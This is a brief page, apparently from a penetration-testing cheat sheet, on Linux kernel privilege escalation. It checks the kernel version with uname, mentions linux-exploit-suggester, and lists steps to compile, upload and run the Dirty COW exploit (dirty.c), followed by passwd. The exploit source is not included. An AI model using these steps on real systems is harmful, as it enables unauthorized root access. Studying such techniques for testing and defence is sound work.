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# Kernel Exploits

## Overview

The **Kernel** is essentially a computer program that controls everything in the system. It facilitates the interactions between hardware and software components. If we exploit the **Kernel (system/core)** we become the **Kernel >:)**

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### Kernel version

```
uname -a
Linux debian 2.6.32-5-amd64
```

{% hint style="info" %}
Use the linux-exploit-suggester to identify kernel exploits quickly
{% endhint %}

## Dirty COW

Compile

```
gcc -pthread dirty.c -o c0w 
```

Upload and run

```
./c0w
passwd
```

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